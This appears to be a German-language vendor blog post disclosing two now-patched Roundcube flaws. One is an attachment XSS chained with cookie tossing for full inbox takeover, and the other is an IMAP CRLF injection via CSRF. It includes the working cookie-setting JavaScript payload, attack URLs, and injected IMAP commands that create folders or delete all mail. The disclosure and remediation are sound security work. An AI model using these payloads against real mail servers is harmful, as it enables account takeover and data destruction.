Roundcube ist der weltweit am weitesten verbreitete Open-Source-Webmail-Client. Wir haben kürzlich eine gefährliche Schwachstelle in der Anwendung entdeckt! Es handelt sich um eine gespeicherte XSS-Schwachstelle, die, verkettet mit einer Cookie-Tossing-Technik, einem Angreifer vollen Zugriff auf den Posteingang eines Opfers ermöglicht und von dort aus auf jedes Konto, das diese E-Mail-Adresse zur Authentifizierung oder Passwortwiederherstellung verwendet.
Wir haben dies entdeckt, indem wir unsere KI-Penetrationstests-Agenten auf einer lokalen Roundcube-Instanz ausgeführt haben. Alle Ergebnisse wurden verantwortungsvoll an Nextcloud, die Betreuer von Roundcube, über HackerOne (XSS offengelegt unter #3594137) gemeldet und in Version 1.6.14 gepatcht.
In diesem Artikel erläutern wir, was wir getan haben, wie unsere Agenten die Schwachstelle gefunden haben und wie eine einfache HTML-Injection den Posteingang eines Benutzers vollständig kompromittieren könnte.
Der Injection Point
Jeder Angriff hat einen Ausgangspunkt. Betrachten wir einen, den einer unserer Agenten zur Überprüfung ausgewählt hat.
Roundcube verarbeitet benutzergesteuerte Inhalte auf verschiedene Weisen. E-Mail-Texte sind die am stärksten überprüfte Oberfläche. Diese werden stark bereinigt, da sie inline mit dem Rest der Anwendung angezeigt werden.
HTML-Anhänge werden über einen separaten Endpunkt in mail/get.php gerendert, mit einer Content Security Policy, die auf 'script-src 'none'' gesetzt ist, um die JavaScript-Ausführung zu blockieren.
Ein dritter, versteckterer Endpunkt verarbeitet Inline-Anhänge, die noch nicht gesendet wurden und temporär sichtbar während des Verfassens einer E-Mail sind. Dies ist der Endpunkt, den wir uns ansehen werden. Die Aktion 'display-attachment' verarbeitet diese Art von Anfragen:
class rcmail_action_mail_attachment_display extends rcmail_action_mail_attachment_upload {
...
public function run($args = []) {
self::init();
$rcmail = rcmail::get_instance();
$file = $rcmail->get_uploaded_file(self::$file_id);
self::display_uploaded_file($file);
Die Funktion self::display_uploaded_file() ist der Ort, an dem die Magie geschieht. Wie rcube_uploads.php zeigt, werden diese Arten von Anhängen direkt mit ihrem ursprünglichen Content-Type und Body zurückgegeben, ohne Bereinigung, Sandboxing und ohne angewandte Content Security Policy.
header('Content-Type: ' . $file['mimetype']);
header('Content-Length: ' . $file['size']);
if (isset($file['data']) && is_string($file['data'])) {
echo $file['data'];
} elseif (!empty($file['path'])) {
readfile($file['path']);
}
Wie erreichen wir diesen Endpunkt, fragen Sie sich vielleicht? Beim Verfassen einer neuen E-Mail in Roundcube können Sie eine Datei an die temporäre E-Mail anhängen, insbesondere eine HTML-Datei. Wir werden ihr bösartigen Inhalt geben:
<script>alert(origin)</script>
Nach dem Hochladen öffnet das Klicken auf den Anhang ein Pop-up, das ihn mithilfe der `get`-Aktion rendert, geschützt durch eine starke CSP. Dies ist der sichere Pfad. Der interessante Teil ist, was passiert, wenn man swap _action=get gegen _action=display-attachment:

Nehmen Sie die ursprüngliche URL für diese Anzeige:
/?_task=mail&_frame=1&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=get&_extwin=1Vertauschen von _action=get gegen _action=display-attachment und das Weglassen einiger unnötiger Parameter ergibt:
/?_task=mail&_file=rcmfile21774532162043767100&_id=193102765369c53621200f8&_action=display-attachmentDiese URL rendert denselben Inhalt, aber ohne die CSP! Das JavaScript innerhalb unseres HTML wird also ausgeführt, warnt vor dem aktuellen Origin und bestätigt XSS:

Dies ist eine interessante Self-XSS, aber ist das wirklich ein Problem? Realistisch betrachtet wird ein normaler Benutzer unsere XSS-Payload nicht selbst hochladen und sie weiterhin auf diese spezielle Weise ansehen…
Beim Betrachten von attachment_upload.php, findet man, dass ein compose_data_ Session-Key für den aktuellen Benutzer gesetzt sein muss, und nur dieser Benutzer den Anhang abrufen kann.
public static function init()
{
self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GPC);
self::$COMPOSE = null;
self::$SESSION_KEY = 'compose_data_' . self::$COMPOSE_ID;
if (self::$COMPOSE_ID && !empty($_SESSION[self::$SESSION_KEY])) {
self::$COMPOSE = &$_SESSION[self::$SESSION_KEY];
}
if (!self::$COMPOSE) {
exit('Invalid session var!');Da es sich um einen temporären Anhang handelt, der nur an die aktuelle Session gebunden ist, gibt es keine Möglichkeit, eine Payload vorzubereiten und ein Opfer dazu zu bringen, sie durch das Einloggen in den Account des Angreifers auszulösen, wie wir es bei Mailcow. Der gesamte roundcube_sessid Cookie des Angreifers müsste auf das Opfer kopiert werden. Eine weitere unmöglich klingende Aufgabe.
Self-XSS mit Cookie Tossing ausnutzen
Das von uns gefundene Self-XSS scheint auf den ersten Blick nicht ausnutzbar zu sein. Der Anhang ist sessiongebunden, sodass es keine Möglichkeit gibt, eine Payload für ein Opfer vorzubereiten, ohne ihm gleichzeitig das Session-Cookie des Angreifers zu übergeben. Doch damit ist das Problem noch nicht gelöst. Hier kommt Cookie Tossing ins Spiel.
In Browsern weisen Cookies einige interessante Eigenheiten auf, eine davon ist das Domain=Attribut.
> Als Wert kann nur die aktuelle Domain oder eine übergeordnete Domain festgelegt werden, es sei denn, es handelt sich um ein Public Suffix. Das Setzen der Domain macht das Cookie für diese sowie für alle ihre Subdomains verfügbar.
Cookies können nicht nur für die aktuelle Domain, sondern auch für eine übergeordnete Domain gesetzt werden. Ein Cookie, das von sub.example.com mit Domain=example.com gesetzt wird, ist für jede Subdomain unter example.com, einschließlich solcher wie other.example.com , die nichts mit dem Setzen des Cookies zu tun hatten, verfügbar. Dieser Angriffstyp wird als Cookie Tossing, bei dem eine Subdomain Cookies schreibt, die eine andere Subdomain lesen wird.
Das bedeutet, alles, was wir zur Ausnutzung unserer Schwachstelle benötigen, ist Kontrolle über eine Subdomain auf derselben Domain wie die Ziel-Roundcube-Domain. Von dort aus kann eine separate XSS-Schwachstelle auf etwas wie xss.target.local die document.cookie Eigenschaft setzen, um Cookies mit dem Domain=target.local Attribut zu schreiben. Sobald diese Cookies gesetzt sind, sendet der Browser des Opfers sie an mail.target.local, wo Roundcube die Session des Angreifers anstelle der des Opfers lädt.
Diese Session hält den bösartigen HTML-Anhang bereit. Leitet man das Opfer zur Anhangs-URL, wird die XSS-Payload innerhalb des Roundcube-Origins im Browser des Opfers ausgelöst, ohne dass weitere Interaktion erforderlich ist.
Zusammenfassend sind die Schritte, die ein Angreifer zur Ausnutzung unternehmen muss:
- Sich in das eigene Konto einloggen, eine neue E-Mail erstellen und eine bösartige HTML-Datei anhängen
- Den Link zum Anzeigen (Rendern) des Anhangs und die Cookies kopieren
- Von einer für XSS anfälligen Subdomain aus die Cookie-Werte setzen mit
document.cookiemit demDomain=Attribut, das auf die Zieldomain verweist. - Das Opfer auf den Anhangslink umleiten. Der XSS wird im Roundcube-Origin ausgelöst.
So sieht der XSS-Payload der Subdomain in der Praxis aus, der die Session-Cookies setzt und das Opfer zur Anhangs-URL umleitet
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local'
location.href = 'http://mail.target.local/?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';Vom Subdomain-XSS aus erfordert der Rest des Roundcube-Exploits keine weitere Benutzerinteraktion. Die gesamte Sicherheit von Roundcube hängt nun von jeder Same-Site-Subdomain ab.

Voller Zugriff
Das Alert-Pop-up im obigen Screenshot bestätigt, dass XSS im Roundcube-Origin ausgeführt wird, demonstriert aber allein keine echte Auswirkung. Es gibt immer noch ein Problem. An diesem Punkt haben wir die Session des Angreifers in den Browser des Opfers geladen, sodass jede ausgeführte Aktion auf dem Konto des Angreifers statt auf dem des Opfers erfolgt. Großartig, um unseren Payload zu liefern, aber nicht so großartig, um auf Dinge zuzugreifen, auf die wir normalerweise keinen Zugriff hätten.
Wenn man den Browser betrachtet, werden Cookies tatsächlich nicht ersetzt wenn wir einen anderen Domain=. Sie werden beide gesendet!
Cookie: roundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER
Wenn beide Cookies vorhanden sind, wählt der Server den des Angreifers, da er zuletzt im Header erscheint. Beim XSS-Payload möchten wir, dass die Cookies des Angreifers ausgewählt werden, während wir bei allen anderen Endpunkten danach die Cookies des Opfers wünschen. Glücklicherweise haben Cookies ein weiteres Attribut, das dieses Problem perfekt löst: Path=.
Indem man einen eindeutigen Pfad wie Path=/index.php/xss, der immer noch auf die Homepage verweist, werden die Cookies nur gesendet wenn dieser Pfad mit dem Anforderungsziel übereinstimmt. Für unsere Anfragen gilt also:
/index.php/xsssendetroundcube_sessauth=VICTIM; roundcube_sessauth=ATTACKER-> Angreifer-Payload wird zurückgegeben- / sendet
roundcube_sessauth=VICTIM-> E-Mails des Opfers werden zurückgegeben
Wir müssen lediglich den JavaScript-Exploit anpassen, um dieses neue Attribut zu setzen, und dann zu /index.php/xss navigieren, um sicherzustellen, dass die Cookies des Angreifers in dieser Anfrage für unseren Payload gesendet werden. Danach kann unser XSS frei auf das Konto des Opfers zugreifen.
document.cookie='roundcube_sessid=1798cbb4c1d7c7f9ca26069b52aac1aa; Domain=target.local; Path=/index.php/xss'
document.cookie='roundcube_sessauth=GfNmiyX5brPm4l814QUx62l5gsJKBXfU-1773063000; Domain=target.local; Path=/index.php/xss'
location.href = 'http://mail.target.local/index.php/xss?_task=mail&_action=display-attachment&_id=183727919869aecb6499f76&_file=rcmfile11773063013009066400';In den DevTools können wir sehen, wie die doppelten Cookies jetzt eingerichtet sind:

Obwohl die Bedingungen für die Ausnutzung dieser Schwachstelle (Konto auf Roundcube + Subdomain XSS) etwas knifflig sind, ist der potenzielle Einschlag eines erfolgreichen Exploits enorm.
E-Mail ist die am weitesten verbreitete und vertrauenswürdigste Form der Authentifizierung, da viele Websites für die Anmeldung oder Passwortwiederherstellung auf „Magic Links“ setzen. Wenn ein Angreifer Zugriff auf Ihre E-Mails hat, kann er auf allen Websites, mit denen die E-Mail-Adresse verknüpft ist, solche Passwort-Resets auslösen. Anschließend kann er die Bestätigungs-E-Mail des Dienstes lesen und so Zugriff auf viele weitere Konten erhalten.
Behebung
Aktualisieren Sie Roundcube auf Version 1.6.14 oder höher (1.6.x) oder 1.5.14 oder höher (1.5.x LTS). Alle gemeldeten Schwachstellen sind in dieser Version behoben. Wenn Sie Aikido verwenden, werden anfällige Roundcube-Instanzen automatisch in Ihrem Surface-Monitoring-Feed als mittelschwerer Befund markiert.

Noch nicht bei Aikido? Erstellen Sie ein kostenloses Konto, um loszulegen – keine Kreditkarte erforderlich.
Fazit
Obwohl dies zunächst wie eine triviale XSS-Schwachstelle aussah, erforderte die Ausnutzung ein wenig mehr Wissen über Cookies und Sessions. Same-Site-Subdomains erhalten vom Browser oft etwas mehr Berechtigungen als vollständig getrennte Websites, ein weiterer Grund, um sicherzustellen, dass alle Ihre Assets sicher sind.
Dies ist eine anspruchsvolle Aufgabe, aber wie hier gezeigt, kann Aikido Attack Webanwendungen autonom pentesten, um solche Schwachstellen in Ihrer gesamten Infrastruktur zu finden.
Die Maintainer von Roundcube haben diese Schwachstelle behoben in Version 1.6.14 durch Hinzufügen einer script-src 'none' Content Security Policy, genau wie sie die restlichen Anhänge bereits hatten. Dies macht es unmöglich, JavaScript auszuführen, wenn beliebiger HTML-Code zurückgegeben wird.
Bonus: IMAP CRLF Injection via CSRF
Während desselben Pentests fand ein weiterer Agent eine zweite Schwachstelle, die wir besonders interessant fanden. Nach der Meldung stellte sich heraus, dass es sich um ein Duplikat handelte, das auch das Martila Security Research Team entdeckt hatte. Dennoch fanden wir es interessant genug, die Details dieser Schwachstelle hier kurz zu erläutern.
Der /?_task=mail&_action=search Endpunkt leitet die vom Client bereitgestellte _filter Parameter direkt an den IMAP SEARCH Befehl in rcube_imap_generic.php:
if (!empty($criteria)) {
$params .= ($params ? ' ' : '') . $criteria;
} else {
$params .= 'ALL';
}
[$code, $response] = $this->execute($return_uid ? 'UID SEARCH' : 'SEARCH', [$params]);Obwohl die Funktion den Befehl von seinen Argumenten zu trennen scheint, die Implementierung von execute() verkettet diese einfach ohne Sanitization:
foreach ($arguments as $arg) {
$query .= ' ' . self::r_implode($arg);
}
Durch das Injizieren von Carriage Return & Line Feed (CRLF, %0D%0A) Zeichen kann ein Angreifer aus den SEARCH-Parametern ausbrechen und zusätzliche IMAP-Befehle innerhalb der IMAP-Sitzung des authentifizierten Benutzers injizieren.
Damit können nicht nur E-Mails durchsucht, sondern auch Ordner hinzugefügt, E-Mails verschoben oder der gesamte Posteingang gelöscht werden, da es sich hierbei um reine IMAP-Befehle handelt.
Unten ist ein Beispiel-Filter eingestellt auf ALL%0D%0AX007%20CREATE%20EvilFolder:
Beim Aufruf werden folgende Daten an IMAP gesendet, mit dem injizierten CREATE-Befehl, der nach der Suche ausgeführt wird:
X006 SEARCH ALL
X007 CREATE EvilFolderDer Effekt davon ist dann in der Roundcube UI sichtbar:

Da es sich um eine einfache GET-Anfrage handelt, ist der Aufruf des obigen Links alles, was benötigt wird, um die Befehle auszuführen. Damit könnte ein einziger Klick auf einen Link alle E-Mails dauerhaft löschen (X001 UID STORE 1:* FLAGS \Deleted gefolgt von X002 EXPUNGE), was zu einem großen Datenverlust führte.
Diese Schwachstelle ist jetzt gepatcht durch Entfernen von \r\n Zeichen aus Suchanfragen.

